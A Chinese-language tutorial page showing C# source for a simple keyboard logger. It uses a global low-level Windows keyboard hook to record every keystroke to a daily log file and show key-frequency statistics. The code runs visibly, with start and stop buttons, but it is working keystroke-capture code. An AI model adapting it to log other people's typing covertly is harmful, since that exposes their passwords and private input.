您好,登錄后才能下訂單哦!
本篇內容主要講解“基于C#如何實現簡易的鍵盤記錄器”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“基于C#如何實現簡易的鍵盤記錄器”吧!
開發工具: Visual Studio 2013
.NET Framework版本:4.5
public class HookUtil { #region windows api /// <summary> /// 安裝鉤子 /// </summary> [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId); public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam); /// <summary> /// 繼續下一個鉤子 /// </summary> [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam); /// <summary> /// 卸載鉤子 /// </summary> [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern bool UnhookWindowsHookEx(int idHook); /// <summary> ///獲取當前線程編號(線程鉤子需要用到) [DllImport("kernel32.dll")] static extern int GetCurrentThreadId(); /// <summary> /// 獲取當前實例的函數 /// </summary> [DllImport("kernel32.dll")] public static extern IntPtr GetModuleHandle(string name); /// <summary> /// 獲取按鍵的狀態 /// </summary> /// <param name="pbKeyState"></param> /// <returns></returns> [DllImport("user32")] public static extern int GetKeyboardState(byte[] pbKeyState); /// <summary> /// 將指定的虛擬鍵碼和鍵盤狀態翻譯為相應的字符或字符串 /// </summary> [DllImport("user32")] public static extern int ToAscii(int uVirtKey, int uScanCode, byte[] lpbKeyState,byte[] lpwTransKey,int fuState); #endregion /// <summary> /// 鍵盤結構 /// </summary> [StructLayout(LayoutKind.Sequential)] public class KeyboardHookStruct { public int vkCode; //定一個虛擬鍵碼。該代碼必須有一個價值的范圍1至254 public int scanCode; // 指定的硬件掃描碼的關鍵 public int flags; // 鍵標志 public int time; // 指定的時間戳記的這個訊息 public int dwExtraInfo; // 指定額外信息相關的信息 } //定義為鍵盤鉤子 public int WH_KEYBOARD_LL = 13; //相關鍵盤事件 public event KeyEventHandler KeyDownEvent; public event KeyPressEventHandler KeyPressEvent; public event KeyEventHandler KeyUpEvent; //相關動作 private const int WM_KEYDOWN = 0x100;//KEYDOWN private const int WM_KEYUP = 0x101;//KEYUP private const int WM_SYSKEYDOWN = 0x104;//SYSKEYDOWN private const int WM_SYSKEYUP = 0x105;//SYSKEYUP //hookid private int hookID = 0; //向下傳遞數據 public Keys NoNextKeyCode; /// <summary> /// 安裝鉤子 /// </summary> public void StartHook() { if (hookID == 0) { HookProc hookProc = new HookProc(KeyboardHookProc); hookID = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, GetModuleHandle(System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName), 0); if (hookID == 0) { StopHook(); throw new Exception("安裝鍵盤鉤子失敗"); } } } public void StopHook() { bool isStop = true; if (hookID != 0) { isStop = UnhookWindowsHookEx(hookID); hookID = 0; } if (!isStop) throw new Exception("卸載鍵盤鉤子失敗!"); } /// <summary> /// 監聽事件 /// </summary> private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam) { if ((nCode >= 0) && (KeyDownEvent != null || KeyUpEvent != null || KeyPressEvent != null)) { KeyboardHookStruct MyKeyboardHookStruct = (KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct)); //按下處理 if (KeyDownEvent != null && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) { Keys keyData = (Keys)MyKeyboardHookStruct.vkCode; KeyEventArgs e = new KeyEventArgs(keyData); KeyDownEvent(this, e); //阻止向下傳遞 if (NoNextKeyCode == keyData) { return hookID; } } //按下并抬起處理 if (KeyPressEvent != null && wParam == WM_KEYDOWN) { byte[] keyState = new byte[256]; GetKeyboardState(keyState); byte[] inBuffer = new byte[2]; if (ToAscii(MyKeyboardHookStruct.vkCode, MyKeyboardHookStruct.scanCode, keyState, inBuffer, MyKeyboardHookStruct.flags) == 1) { KeyPressEventArgs e = new KeyPressEventArgs((char)inBuffer[0]); KeyPressEvent(this, e); } } // 抬起處理 if (KeyUpEvent != null && (wParam == WM_KEYUP || wParam == WM_SYSKEYUP)) { Keys keyData = (Keys)MyKeyboardHookStruct.vkCode; KeyEventArgs e = new KeyEventArgs(keyData); KeyUpEvent(this, e); } } return CallNextHookEx(hookID, nCode, wParam, lParam); } ~HookUtil() { StopHook(); } }
HookUtil keyHook = new HookUtil(); private void btnBegin_Click(object sender, EventArgs e) { keyHook.KeyDownEvent += new KeyEventHandler(hook_KeyDown);//鉤住按下事件 keyHook.StartHook(); btnBegin.Enabled = false; btnEnd.Enabled = true; } private void btnEnd_Click(object sender, EventArgs e) { keyHook.StopHook(); btnBegin.Enabled = true; btnEnd.Enabled = false; } private void btnInfo_Click(object sender, EventArgs e) { string path = System.AppDomain.CurrentDomain.BaseDirectory + "log\\" + DateTime.Now.ToString("yyyy-MM-dd") + ".txt"; if (!File.Exists(path)) { MessageBox.Show("還未監聽到數據,請操作后再查看"); return; } var list = File.ReadAllLines(path).ToList().GroupBy(s => s).Select(s => new { s.Key, s.ToList().Count }).OrderByDescending(s => s.Count); FrmInfo frm = new FrmInfo(); frm.Show(); foreach (var item in list) { frm.addItems(new string[] { "", item.Key, item.Count + "" }); } } private void hook_KeyDown(object sender, KeyEventArgs e) { if (!listKey.Contains(e.KeyData)) { if (Control.ModifierKeys != Keys.None) { WriteLog(Control.ModifierKeys + "+" + e.KeyData); } else { WriteLog(e.KeyData + ""); } } else { WriteLog(e.KeyData + ""); } }
到此,相信大家對“基于C#如何實現簡易的鍵盤記錄器”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。